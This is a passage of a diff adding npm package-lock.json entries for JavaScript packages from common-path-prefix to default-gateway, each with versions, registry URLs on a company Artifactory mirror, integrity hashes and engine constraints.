"engines": { + "node": ">= 12" + } + }, + "node_modules/common-path-prefix": { + "version": "3.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/common-path-prefix/-/common-path-prefix-3.0.0.tgz", + "integrity": "sha512-QE33hToZseCH3jS0qN96O/bSh3kaw/h+Tq7ngyY9eWDUnTlTNUyqfqvCXioLe5Na5jFsL78ra/wuBU4iuEgd4w==" + }, + "node_modules/common-tags": { + "version": "1.8.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/common-tags/-/common-tags-1.8.2.tgz", + "integrity": "sha512-gk/Z852D2Wtb//0I+kRFNKKE9dIIVirjoqPoA1wJU+XePVXZfGeBpk45+A1rKO4Q43prqWBNY/MiIeRLbPWUaA==", + "engines": { + "node": ">=4.0.0" + } + }, + "node_modules/commondir": { + "version": "1.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/commondir/-/commondir-1.0.1.tgz", + "integrity": "sha512-W9pAhw0ja1Edb5GVdIF1mjZw/ASI0AlShXM83UUGe2DVr5TdAPEA1OA8m/g8zWp9x6On7gqufY+FatDbC3MDQg==" + }, + "node_modules/compressible": { + "version": "2.0.18", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/compressible/-/compressible-2.0.18.tgz", + "integrity": "sha512-AF3r7P5dWxL8MxyITRMlORQNaOA2IkAFaTr4k7BUumjPtRpGDTZpl0Pb1XCO6JeDCBdp126Cgs9sMxqSjgYyRg==", + "dependencies": { + "mime-db": ">= 1.43.0 < 2" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/compression": { + "version": "1.7.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/compression/-/compression-1.7.4.tgz", + "integrity": "sha512-jaSIDzP9pZVS4ZfQ+TzvtiWhdpFhE2RDHz8QJkpX9SIpLq88VueF5jJw6t+6CUQcAoA6t+x89MLrWAqpfDE8iQ==", + "dependencies": { + "accepts": "~1.3.5", + "bytes": "3.0.0", + "compressible": "~2.0.16", + "debug": "2.6.9", + "on-headers": "~1.0.2", + "safe-buffer": "5.1.2", + "vary": "~1.1.2" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/compression/node_modules/debug": { + "version": "2.6.9", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "dependencies": { + "ms": "2.0.0" + } + }, + "node_modules/compression/node_modules/ms": { + "version": "2.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ms/-/ms-2.0.0.tgz", + "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==" + }, + "node_modules/compression/node_modules/safe-buffer": { + "version": "5.1.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/safe-buffer/-/safe-buffer-5.1.2.tgz", + "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==" + }, + "node_modules/concat-map": { + "version": "0.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/concat-map/-/concat-map-0.0.1.tgz", + "integrity": "sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg==" + }, + "node_modules/confusing-browser-globals": { + "version": "1.0.11", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/confusing-browser-globals/-/confusing-browser-globals-1.0.11.tgz", + "integrity": "sha512-JsPKdmh8ZkmnHxDk55FZ1TqVLvEQTvoByJZRN9jzI0UjxK/QgAmsphz7PGtqgPieQZ/CQcHWXCR7ATDNhGe+YA==" + }, + "node_modules/connect-history-api-fallback": { + "version": "2.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/connect-history-api-fallback/-/connect-history-api-fallback-2.0.0.tgz", + "integrity": "sha512-U73+6lQFmfiNPrYbXqr6kZ1i1wiRqXnp2nhMsINseWXO8lDau0LGEffJ8kQi4EjLZympVgRdvqjAgiZ1tgzDDA==", + "engines": { + "node": ">=0.8" + } + }, + "node_modules/content-disposition": { + "version": "0.5.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/content-disposition/-/content-disposition-0.5.4.tgz", + "integrity": "sha512-FveZTNuGw04cxlAiWbzi6zTAL/lhehaWbTtgluJh4/E95DqMwTmha3KZN1aAWA8cFIhHzMZUvLevkw5Rqk+tSQ==", + "dependencies": { + "safe-buffer": "5.2.1" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/content-type": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/content-type/-/content-type-1.0.5.tgz", + "integrity": "sha512-nTjqfcBFEipKdXCv4YDQWCfmcLZKm81ldF0pAopTvyrFGVbcR6P/VAAd5G7N+0tTr8QqiU0tFadD6FK4NtJwOA==", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/convert-source-map": { + "version": "1.9.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/convert-source-map/-/convert-source-map-1.9.0.tgz", + "integrity": "sha512-ASFBup0Mz1uyiIjANan1jzLQami9z1PoYSZCiiYW2FczPbenXc45FZdBZLzOT+r6+iciuEModtmCti+hjaAk0A==" + }, + "node_modules/cookie": { + "version": "0.6.0", + "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.6.0.tgz", + "integrity": "sha512-U71cyTamuh1CRNCfpGY6to28lxvNwPG4Guz/EVjgf3Jmzv0vlDp1atT9eS5dDjMYHucpHbWns6Lwf3BKz6svdw==", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/cookie-signature": { + "version": "1.0.6", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/cookie-signature/-/cookie-signature-1.0.6.tgz", + "integrity": "sha512-QADzlaHc8icV8I7vbaJXJwod9HWYp8uCqf1xa4OfNu1T7JVxQIrUgOWtHdNDtPiywmFbiS12VjotIXLrKM3orQ==" + }, + "node_modules/core-js": { + "version": "3.31.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/core-js/-/core-js-3.31.0.tgz", + "integrity": "sha512-NIp2TQSGfR6ba5aalZD+ZQ1fSxGhDo/s1w0nx3RYzf2pnJxt7YynxFlFScP6eV7+GZsKO95NSjGxyJsU3DZgeQ==", + "hasInstallScript": true + }, + "node_modules/core-js-compat": { + "version": "3.31.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/core-js-compat/-/core-js-compat-3.31.0.tgz", + "integrity": "sha512-hM7YCu1cU6Opx7MXNu0NuumM0ezNeAeRKadixyiQELWY3vT3De9S4J5ZBMraWV2vZnrE1Cirl0GtFtDtMUXzPw==", + "dependencies": { + "browserslist": "^4.21.5" + } + }, + "node_modules/core-js-pure": { + "version": "3.31.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/core-js-pure/-/core-js-pure-3.31.0.tgz", + "integrity": "sha512-/AnE9Y4OsJZicCzIe97JP5XoPKQJfTuEG43aEVLFJGOJpyqELod+pE6LEl63DfG1Mp8wX97LDaDpy1GmLEUxlg==", + "hasInstallScript": true + }, + "node_modules/core-util-is": { + "version": "1.0.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/core-util-is/-/core-util-is-1.0.3.tgz", + "integrity": "sha512-ZQBvi1DcpJ4GDqanjucZ2Hj3wEO5pZDS89BWbkcrvdxksJorwUDDZamX9ldFkp9aw2lmBDLgkObEA4DWNJ9FYQ==" + }, + "node_modules/cosmiconfig": { + "version": "7.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/cosmiconfig/-/cosmiconfig-7.1.0.tgz", + "integrity": "sha512-AdmX6xUzdNASswsFtmwSt7Vj8po9IuqXm0UXz7QKPuEUmPB4XyjGfaAr2PSuELMwkRMVH1EpIkX5bTZGRB3eCA==", + "dependencies": { + "@types/parse-json": "^4.0.0", + "import-fresh": "^3.2.1", + "parse-json": "^5.0.0", + "path-type": "^4.0.0", + "yaml": "^1.10.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/cross-spawn": { + "version": "7.0.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/cross-spawn/-/cross-spawn-7.0.3.tgz", + "integrity": "sha512-iRDPJKUPVEND7dHPO8rkbOnPpyDygcDFtWjpeWNCgy8WP2rXcxXL8TskReQl6OrB2G7+UJrags1q15Fudc7G6w==", + "dependencies": { + "path-key": "^3.1.0", + "shebang-command": "^2.0.0", + "which": "^2.0.1" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/crypto-random-string": { + "version": "2.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/crypto-random-string/-/crypto-random-string-2.0.0.tgz", + "integrity": "sha512-v1plID3y9r/lPhviJ1wrXpLeyUIGAZ2SHNYTEapm7/8A9nLPoyvVp3RK/EPFqn5kEznyWgYZNsRtYYIWbuG8KA==", + "engines": { + "node": ">=8" + } + }, + "node_modules/css-blank-pseudo": { + "version": "3.0.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/css-blank-pseudo/-/css-blank-pseudo-3.0.3.tgz", + "integrity": "sha512-VS90XWtsHGqoM0t4KpH053c4ehxZ2E6HtGI7x68YFV0pTo/QmkV/YFA+NnlvK8guxZVNWGQhVNJGC39Q8XF4OQ==", + "dependencies": { + "postcss-selector-parser": "^6.0.9" + }, + "bin": { + "css-blank-pseudo": "dist/cli.cjs" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "peerDependencies": { + "postcss": "^8.4" + } + }, + "node_modules/css-declaration-sorter": { + "version": "6.4.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/css-declaration-sorter/-/css-declaration-sorter-6.4.0.tgz", + "integrity": "sha512-jDfsatwWMWN0MODAFuHszfjphEXfNw9JUAhmY4pLu3TyTU+ohUpsbVtbU+1MZn4a47D9kqh03i4eyOm+74+zew==", + "engines": { + "node": "^10 || ^12 || >=14" + }, + "peerDependencies": { + "postcss": "^8.0.9" + } + }, + "node_modules/css-has-pseudo": { + "version": "3.0.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/css-has-pseudo/-/css-has-pseudo-3.0.4.tgz", + "integrity": "sha512-Vse0xpR1K9MNlp2j5w1pgWIJtm1a8qS0JwS9goFYcImjlHEmywP9VUF05aGBXzGpDJF86QXk4L0ypBmwPhGArw==", + "dependencies": { + "postcss-selector-parser": "^6.0.9" + }, + "bin": { + "css-has-pseudo": "dist/cli.cjs" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "peerDependencies": { + "postcss": "^8.4" + } + }, + "node_modules/css-loader": { + "version": "6.8.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/css-loader/-/css-loader-6.8.1.tgz", + "integrity": "sha512-xDAXtEVGlD0gJ07iclwWVkLoZOpEvAWaSyf6W18S2pOC//K8+qUDIx8IIT3D+HjnmkJPQeesOPv5aiUaJsCM2g==", + "dependencies": { + "icss-utils": "^5.1.0", + "postcss": "^8.4.21", + "postcss-modules-extract-imports": "^3.0.0", + "postcss-modules-local-by-default": "^4.0.3", + "postcss-modules-scope": "^3.0.0", + "postcss-modules-values": "^4.0.0", + "postcss-value-parser": "^4.2.0", + "semver": "^7.3.8" + }, + "engines": { + "node": ">= 12.13.0" + }, + "peerDependencies": { + "webpack": "^5.0.0" + } + }, + "node_modules/css-minimizer-webpack-plugin": { + "version": "3.4.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/css-minimizer-webpack-plugin/-/css-minimizer-webpack-plugin-3.4.1.tgz", + "integrity": "sha512-1u6D71zeIfgngN2XNRJefc/hY7Ybsxd74Jm4qngIXyUEk7fss3VUzuHxLAq/R8NAba4QU9OUSaMZlbpRc7bM4Q==", + "dependencies": { + "cssnano": "^5.0.6", + "jest-worker": "^27.0.2", + "postcss": "^8.3.5", + "schema-utils": "^4.0.0", + "serialize-javascript": "^6.0.0", + "source-map": "^0.6.1" + }, + "engines": { + "node": ">= 12.13.0" + }, + "peerDependencies": { + "webpack": "^5.0.0" + }, + "peerDependenciesMeta": { + "@parcel/css": { + "optional": true + }, + "clean-css": { + "optional": true + }, + "csso": { + "optional": true + }, + "esbuild": { + "optional": true + } + } + }, + "node_modules/css-minimizer-webpack-plugin/node_modules/ajv": { + "version": "8.12.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ajv/-/ajv-8.12.0.tgz", + "integrity": "sha512-sRu1kpcO9yLtYxBKvqfTeh9KzZEwO3STyX1HT+4CaDzC6HpTGYhIhPIzj9XuKU7KYDwnaeh5hcOwjy1QuJzBPA==", + "dependencies": { + "fast-deep-equal": "^3.1.1", + "json-schema-traverse": "^1.0.0", + "require-from-string": "^2.0.2", + "uri-js": "^4.2.2" + } + }, + "node_modules/css-minimizer-webpack-plugin/node_modules/ajv-keywords": { + "version": "5.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ajv-keywords/-/ajv-keywords-5.1.0.tgz", + "integrity": "sha512-YCS/JNFAUyr5vAuhk1DWm1CBxRHW9LbJ2ozWeemrIqpbsqKjHVxYPyi5GC0rjZIT5JxJ3virVTS8wk4i/Z+krw==", + "dependencies": { + "fast-deep-equal": "^3.1.3" + }, + "peerDependencies": { + "ajv": "^8.8.2" + } + }, + "node_modules/css-minimizer-webpack-plugin/node_modules/json-schema-traverse": { + "version": "1.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz", + "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==" + }, + "node_modules/css-minimizer-webpack-plugin/node_modules/schema-utils": { + "version": "4.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/schema-utils/-/schema-utils-4.2.0.tgz", + "integrity": "sha512-L0jRsrPpjdckP3oPug3/VxNKt2trR8TcabrM6FOAAlvC/9Phcmm+cuAgTlxBqdBR1WJx7Naj9WHw+aOmheSVbw==", + "dependencies": { + "@types/json-schema": "^7.0.9", + "ajv": "^8.9.0", + "ajv-formats": "^2.1.1", + "ajv-keywords": "^5.1.0" + }, + "engines": { + "node": ">= 12.13.0" + } + }, + "node_modules/css-minimizer-webpack-plugin/node_modules/source-map": { + "version": "0.6.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/css-prefers-color-scheme": { + "version": "6.0.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/css-prefers-color-scheme/-/css-prefers-color-scheme-6.0.3.tgz", + "integrity": "sha512-4BqMbZksRkJQx2zAjrokiGMd07RqOa2IxIrrN10lyBe9xhn9DEvjUK79J6jkeiv9D9hQFXKb6g1jwU62jziJZA==", + "bin": { + "css-prefers-color-scheme": "dist/cli.cjs" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "peerDependencies": { + "postcss": "^8.4" + } + }, + "node_modules/css-select": { + "version": "4.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/css-select/-/css-select-4.3.0.tgz", + "integrity": "sha512-wPpOYtnsVontu2mODhA19JrqWxNsfdatRKd64kmpRbQgh1KtItko5sTnEpPdpSaJszTOhEMlF/RPz28qj4HqhQ==", + "dependencies": { + "boolbase": "^1.0.0", + "css-what": "^6.0.1", + "domhandler": "^4.3.1", + "domutils": "^2.8.0", + "nth-check": "^2.0.1" + } + }, + "node_modules/css-select-base-adapter": { + "version": "0.1.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/css-select-base-adapter/-/css-select-base-adapter-0.1.1.tgz", + "integrity": "sha512-jQVeeRG70QI08vSTwf1jHxp74JoZsr2XSgETae8/xC8ovSnL2WF87GTLO86Sbwdt2lK4Umg4HnnwMO4YF3Ce7w==" + }, + "node_modules/css-tree": { + "version": "1.0.0-alpha.37", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/css-tree/-/css-tree-1.0.0-alpha.37.tgz", + "integrity": "sha512-DMxWJg0rnz7UgxKT0Q1HU/L9BeJI0M6ksor0OgqOnF+aRCDWg/N2641HmVyU9KVIu0OVVWOb2IpC9A+BJRnejg==", + "dependencies": { + "mdn-data": "2.0.4", + "source-map": "^0.6.1" + }, + "engines": { + "node": ">=8.0.0" + } + }, + "node_modules/css-tree/node_modules/source-map": { + "version": "0.6.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/css-what": { + "version": "6.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/css-what/-/css-what-6.1.0.tgz", + "integrity": "sha512-HTUrgRJ7r4dsZKU6GjmpfRK1O76h97Z8MfS1G0FozR+oF2kG6Vfe8JE6zwrkbxigziPHinCJ+gCPjA9EaBDtRw==", + "engines": { + "node": ">= 6" + } + }, + "node_modules/css.escape": { + "version": "1.5.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/css.escape/-/css.escape-1.5.1.tgz", + "integrity": "sha512-YUifsXXuknHlUsmlgyY0PKzgPOr7/FjCePfHNt0jxm83wHZi44VDMQ7/fGNkjY3/jV1MC+1CmZbaHzugyeRtpg==" + }, + "node_modules/cssdb": { + "version": "7.6.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/cssdb/-/cssdb-7.6.0.tgz", + "integrity": "sha512-Nna7rph8V0jC6+JBY4Vk4ndErUmfJfV6NJCaZdurL0omggabiy+QB2HCQtu5c/ACLZ0I7REv7A4QyPIoYzZx0w==" + }, + "node_modules/cssesc": { + "version": "3.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/cssesc/-/cssesc-3.0.0.tgz", + "integrity": "sha512-/Tb/JcjK111nNScGob5MNtsntNM1aCNUDipB/TkwZFhyDrrE47SOx/18wF2bbjgc3ZzCSKW1T5nt5EbFoAz/Vg==", + "bin": { + "cssesc": "bin/cssesc" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/cssnano": { + "version": "5.1.15", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/cssnano/-/cssnano-5.1.15.tgz", + "integrity": "sha512-j+BKgDcLDQA+eDifLx0EO4XSA56b7uut3BQFH+wbSaSTuGLuiyTa/wbRYthUXX8LC9mLg+WWKe8h+qJuwTAbHw==", + "dependencies": { + "cssnano-preset-default": "^5.2.14", + "lilconfig": "^2.0.3", + "yaml": "^1.10.2" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/cssnano-preset-default": { + "version": "5.2.14", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/cssnano-preset-default/-/cssnano-preset-default-5.2.14.tgz", + "integrity": "sha512-t0SFesj/ZV2OTylqQVOrFgEh5uanxbO6ZAdeCrNsUQ6fVuXwYTxJPNAGvGTxHbD68ldIJNec7PyYZDBrfDQ+6A==", + "dependencies": { + "css-declaration-sorter": "^6.3.1", + "cssnano-utils": "^3.1.0", + "postcss-calc": "^8.2.3", + "postcss-colormin": "^5.3.1", + "postcss-convert-values": "^5.1.3", + "postcss-discard-comments": "^5.1.2", + "postcss-discard-duplicates": "^5.1.0", + "postcss-discard-empty": "^5.1.1", + "postcss-discard-overridden": "^5.1.0", + "postcss-merge-longhand": "^5.1.7", + "postcss-merge-rules": "^5.1.4", + "postcss-minify-font-values": "^5.1.0", + "postcss-minify-gradients": "^5.1.1", + "postcss-minify-params": "^5.1.4", + "postcss-minify-selectors": "^5.2.1", + "postcss-normalize-charset": "^5.1.0", + "postcss-normalize-display-values": "^5.1.0", + "postcss-normalize-positions": "^5.1.1", + "postcss-normalize-repeat-style": "^5.1.1", + "postcss-normalize-string": "^5.1.0", + "postcss-normalize-timing-functions": "^5.1.0", + "postcss-normalize-unicode": "^5.1.1", + "postcss-normalize-url": "^5.1.0", + "postcss-normalize-whitespace": "^5.1.1", + "postcss-ordered-values": "^5.1.3", + "postcss-reduce-initial": "^5.1.2", + "postcss-reduce-transforms": "^5.1.0", + "postcss-svgo": "^5.1.0", + "postcss-unique-selectors": "^5.1.1" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/cssnano-utils": { + "version": "3.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/cssnano-utils/-/cssnano-utils-3.1.0.tgz", + "integrity": "sha512-JQNR19/YZhz4psLX/rQ9M83e3z2Wf/HdJbryzte4a3NSuafyp9w/I4U+hx5C2S9g41qlstH7DEWnZaaj83OuEA==", + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/csso": { + "version": "4.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/csso/-/csso-4.2.0.tgz", + "integrity": "sha512-wvlcdIbf6pwKEk7vHj8/Bkc0B4ylXZruLvOgs9doS5eOsOpuodOV2zJChSpkp+pRpYQLQMeF04nr3Z68Sta9jA==", + "dependencies": { + "css-tree": "^1.1.2" + }, + "engines": { + "node": ">=8.0.0" + } + }, + "node_modules/csso/node_modules/css-tree": { + "version": "1.1.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/css-tree/-/css-tree-1.1.3.tgz", + "integrity": "sha512-tRpdppF7TRazZrjJ6v3stzv93qxRcSsFmW6cX0Zm2NVKpxE1WV1HblnghVv9TreireHkqI/VDEsfolRF1p6y7Q==", + "dependencies": { + "mdn-data": "2.0.14", + "source-map": "^0.6.1" + }, + "engines": { + "node": ">=8.0.0" + } + }, + "node_modules/csso/node_modules/mdn-data": { + "version": "2.0.14", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/mdn-data/-/mdn-data-2.0.14.tgz", + "integrity": "sha512-dn6wd0uw5GsdswPFfsgMp5NSB0/aDe6fK94YJV/AJDYXL6HVLWBsxeq7js7Ad+mU2K9LAlwpk6kN2D5mwCPVow==" + }, + "node_modules/csso/node_modules/source-map": { + "version": "0.6.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/cssom": { + "version": "0.4.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/cssom/-/cssom-0.4.4.tgz", + "integrity": "sha512-p3pvU7r1MyyqbTk+WbNJIgJjG2VmTIaB10rI93LzVPrmDJKkzKYMtxxyAvQXR/NS6otuzveI7+7BBq3SjBS2mw==" + }, + "node_modules/cssstyle": { + "version": "2.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/cssstyle/-/cssstyle-2.3.0.tgz", + "integrity": "sha512-AZL67abkUzIuvcHqk7c09cezpGNcxUxU4Ioi/05xHk4DQeTkWmGYftIE6ctU6AEt+Gn4n1lDStOtj7FKycP71A==", + "dependencies": { + "cssom": "~0.3.6" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/cssstyle/node_modules/cssom": { + "version": "0.3.8", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/cssom/-/cssom-0.3.8.tgz", + "integrity": "sha512-b0tGHbfegbhPJpxpiBPU2sCkigAqtM9O121le6bbOlgyV+NyGyCmVfJ6QW9eRjz8CpNfWEOYBIMIGRYkLwsIYg==" + }, + "node_modules/csstype": { + "version": "3.1.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/csstype/-/csstype-3.1.2.tgz", + "integrity": "sha512-I7K1Uu0MBPzaFKg4nI5Q7Vs2t+3gWWW648spaF+Rg7pI9ds18Ugn+lvg4SHczUdKlHI5LWBXyqfS8+DufyBsgQ==" + }, + "node_modules/damerau-levenshtein": { + "version": "1.0.8", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/damerau-levenshtein/-/damerau-levenshtein-1.0.8.tgz", + "integrity": "sha512-sdQSFB7+llfUcQHUQO3+B8ERRj0Oa4w9POWMI/puGtuf7gFywGmkaLCElnudfTiKZV+NvHqL0ifzdrI8Ro7ESA==" + }, + "node_modules/data-urls": { + "version": "2.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/data-urls/-/data-urls-2.0.0.tgz", + "integrity": "sha512-X5eWTSXO/BJmpdIKCRuKUgSCgAN0OwliVK3yPKbwIWU1Tdw5BRajxlzMidvh+gwko9AfQ9zIj52pzF91Q3YAvQ==", + "dependencies": { + "abab": "^2.0.3", + "whatwg-mimetype": "^2.3.0", + "whatwg-url": "^8.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/debug": { + "version": "4.3.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/debug/-/debug-4.3.4.tgz", + "integrity": "sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==", + "dependencies": { + "ms": "2.1.2" + }, + "engines": { + "node": ">=6.0" + }, + "peerDependenciesMeta": { + "supports-color": { + "optional": true + } + } + }, + "node_modules/decimal.js": { + "version": "10.4.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/decimal.js/-/decimal.js-10.4.3.tgz", + "integrity": "sha512-VBBaLc1MgL5XpzgIP7ny5Z6Nx3UrRkIViUkPUdtl9aya5amy3De1gsUUSB1g3+3sExYNjCAsAznmukyxCb1GRA==" + }, + "node_modules/dedent": { + "version": "0.7.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/dedent/-/dedent-0.7.0.tgz", + "integrity": "sha512-Q6fKUPqnAHAyhiUgFU7BUzLiv0kd8saH9al7tnu5Q/okj6dnupxyTgFIBjVzJATdfIAm9NAsvXNzjaKa+bxVyA==" + }, + "node_modules/deep-equal": { + "version": "2.2.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/deep-equal/-/deep-equal-2.2.1.tgz", + "integrity": "sha512-lKdkdV6EOGoVn65XaOsPdH4rMxTZOnmFyuIkMjM1i5HHCbfjC97dawgTAy0deYNfuqUqW+Q5VrVaQYtUpSd6yQ==", + "dependencies": { + "array-buffer-byte-length": "^1.0.0", + "call-bind": "^1.0.2", + "es-get-iterator": "^1.1.3", + "get-intrinsic": "^1.2.0", + "is-arguments": "^1.1.1", + "is-array-buffer": "^3.0.2", + "is-date-object": "^1.0.5", + "is-regex": "^1.1.4", + "is-shared-array-buffer": "^1.0.2", + "isarray": "^2.0.5", + "object-is": "^1.1.5", + "object-keys": "^1.1.1", + "object.assign": "^4.1.4", + "regexp.prototype.flags": "^1.5.0", + "side-channel": "^1.0.4", + "which-boxed-primitive": "^1.0.2", + "which-collection": "^1.0.1", + "which-typed-array": "^1.1.9" + } + }, + "node_modules/deep-is": { + "version": "0.1.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/deep-is/-/deep-is-0.1.4.tgz", + "integrity": "sha512-oIPzksmTg4/MriiaYGO+okXDT7ztn/w3Eptv/+gSIdMdKsJo0u4CfYNFJPy+4SKMuCqGw2wxnA+URMg3t8a/bQ==" + }, + "node_modules/deepmerge": { + "version": "4.3.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/deepmerge/-/deepmerge-4.3.1.tgz", + "integrity": "sha512-3sUqbMEc77XqpdNO7FRyRog+eW3ph+GYCbj+rK+uYyRMuwsVy0rMiVtPn+QJlKFvWP/1PYpapqYn0Me2knFn+A==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/default-gateway": { + "version": "6.0.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/default-gateway/-/default-gateway-6.0.3.tgz", + "integrity": 